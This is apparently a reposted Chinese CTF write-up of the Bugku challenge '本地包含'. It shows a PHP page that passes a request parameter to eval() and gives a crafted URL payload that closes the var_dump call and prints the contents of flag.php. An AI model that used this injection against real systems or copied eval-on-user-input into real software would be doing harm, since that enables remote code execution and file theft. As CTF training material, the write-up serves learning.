bugku 本地包含

Posted ainv-123

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bugku 本地包含相关的知识,希望对你有一定的参考价值。

本地包含

技术图片

 

 

题目信息

 

地址:http://123.206.87.240:8003/

<?php 
    include "flag.php"; 
    $a = @$_REQUEST[‘hello‘]; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

知识基础

涉及到的几个函数:
1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢

2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

<?php
eval("echo‘hello‘;echo‘ world‘;");
?>
# output
hello world

3.var_dump: 函数用于输出变量的相关信息

# 数字
var_dump(1); > int(1)
# 字符串
var_dump("string"); >  string(6) "string"

解题思路

eval应该是此题的突破口,能够执行php代码。
hello是接受参数的变量,接下来就是构建hello变量,使其能够闭合var_dump,利用print_r输出

首先闭合var_dump: 1)";
第二步构建print_r:print_r(file("./flag.php"));

URL构建结束:
http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")

构建的URL触发的 eval操作为
eval("var_dump(1);print_r(file("./flag.php")")

成功输出 flag.php 文件内容

技术图片

参考资源

1.echo(),print(),print_r()之间的区别?
2.PHP file() 函数

内容来自:https://segmentfault.com/a/1190000016750234?utm_source=tag-newest

以上是关于bugku 本地包含的主要内容,如果未能解决你的问题,请参考以下文章

安全-php://filter文件包含分析(bugku)

BugKu:备份是个好习惯

BUGKU 程序员本地网站

bugku 程序员本地网站

bugku-writeup-web-本地管理员

第八周